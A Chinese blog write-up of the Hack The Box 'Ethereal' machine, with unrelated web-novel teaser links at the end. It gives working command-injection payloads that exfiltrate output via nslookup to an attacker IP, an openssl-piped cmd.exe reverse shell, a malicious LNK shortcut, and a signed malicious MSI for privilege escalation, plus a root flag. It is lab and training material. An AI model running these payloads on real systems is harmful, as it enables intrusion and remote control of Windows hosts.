Hack The Box Ethereal WriteUp

首先这题真的很难,要有充分的思想准备和无数次的模拟环境搭建
1.利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否者经常因为网络因素导致下载失败

Ftp服务器

2.解压FDISK.zip,可以拿到一个镜像文件。利用file命令识别后,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。
pbox.exe

3.16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关...进入pbox首先还是挂载mount c c:\pbox,将此c:\pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下:
pbox运行报错

4.这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI - Get csdpmi*b.zip > 的错误。解决方式可以参考:https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。
pbox正常运行

5.输入的密码是password,进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:
user: alan
password: !C414m17y57r1k3s4g41n!
pbox数据库

6.获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。
8080端口登录

7.需要解决的问题是如何查看回显,在linux环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果,例如我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:
127.0.0.1 | for /f "tokens=2" %I in ('netstat -ano') do nslookup %I 10.10.8.8
有关for /f的脚本循环体介绍可以看https://www.youtube.com/watch?v=jMS6LkMdAHI
需要注意的是tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可如:
127.0.0.1 | for /f "tokens=1,2,3,4,5,6" %a in ('type c:\xxxxx.txt') do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8
在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复)
wireshark抓包结果

8.枚举防火墙规则,netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:\users\public目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:\users\public\desktop\shortcuts\,最终读取防火墙配置:仅允许TCP 73和136端口通信。
枚举权限:
127.0.0.1 & for /f "tokens=1,2,3," %a in ('icacls c:\users\public\Desktop*. /findsid alan /t /c /l') do nslookup %a.%b.%c 10.10.8.8

9.继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:\Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。
能显示较完整dir结果的命令:
127.0.0.1 & for /f "tokens=1,2,3," %a in ('dir /B "C:\users\public\Desktop\Shortcuts"') do nslookup %a.%b.%c 10.10.8.8

10.openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网https://www.openssl.org可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过http://slproweb.com/products/Win32OpenSSL.html下载。安装过程就是一路next不再赘述。

openssl for windows

11.在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写
对命令参数有疑问的可以参考IBM文档:
https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html
生成证书

12.利用openssl的s_client连接服务器,在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:
openssl s_client 1 ---->input | cmd.exe | openssl s_client 2 ---->output
这也是为什么防火墙规则要放行两个端口的原因。
转化为web端的RCE命令即:
10.10.8.8 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)
注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:
openssl s_server -quiet -key key.pem -cert cert.pem -port 73
openssl s_server -quiet -key key.pem -cert cert.pem -port 136
我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果
获取shell

13.在获取一个低权限的shell以后,我们能在c:\users\alan\Desktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。
线索文件

14.LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址:https://github.com/Plazmaz/LNKUp
命令格式:
python generate.py --host localhost --type ntlm --output out.lnk --execute
"C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:\Progra~2\OpenSSLv1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:136"
生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。
恶意快捷方式

15.上传恶意快捷方式,并覆盖c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。
kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt
web运行:10.10.8.8|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.8.8:73 > c:\users\public\desktop\shortcuts\out.txt(注意上传成功后改回后缀)
重新建立shell连接
shell运行:del "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" & copy "c:\users\public\desktop\shortcuts\out.lnk" "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk"
LNKUp

16.很快能够获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73输入,在136中查看结果,操作顺畅不少,在jorge用户桌面拿下user.txt
user.txt

17.继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi
线索文件2

18.直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.cer
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.pvk
将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。
获取证书

19.生成msi,我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写关键参数后就可以Create MSI Package了。(密码留空)
恶意msi生成

20.利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:
.NET Framework 4 :https://www.microsoft.com/en-us/download/details.aspx?id=17851
winsdk:https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279
安装好后,就可以开始签名了,命令依次如下:
makecert -n "CN=Ethereal" -pe -cy end -ic C:\MyCA.cer -iv C:\MyCA.pvk -sky signature -sv C:\hack.pvk C:\hack.cer
pvk2pfx -pvk C:\hack.pvk -spc C:\hack.cer -pfx C:\hack.pfx
signtool sign /f C:\hack.pfx C:\shell.msi
如果签名成功,可以看到如下提示:
签名成功

21.将签名后的msi上传至d:\dev\msis\shell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt
1cb6f1fc220e3f2fcc0e3cd8e2d9906f

22.若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。
添加删除程序

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,123评论 6 490
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,031评论 2 384
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,723评论 0 345
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,357评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,412评论 5 384
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,760评论 1 289
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,904评论 3 405
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,672评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,118评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,456评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,599评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,264评论 4 328
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,857评论 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,731评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,956评论 1 264
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,286评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,465评论 2 348

推荐阅读更多精彩内容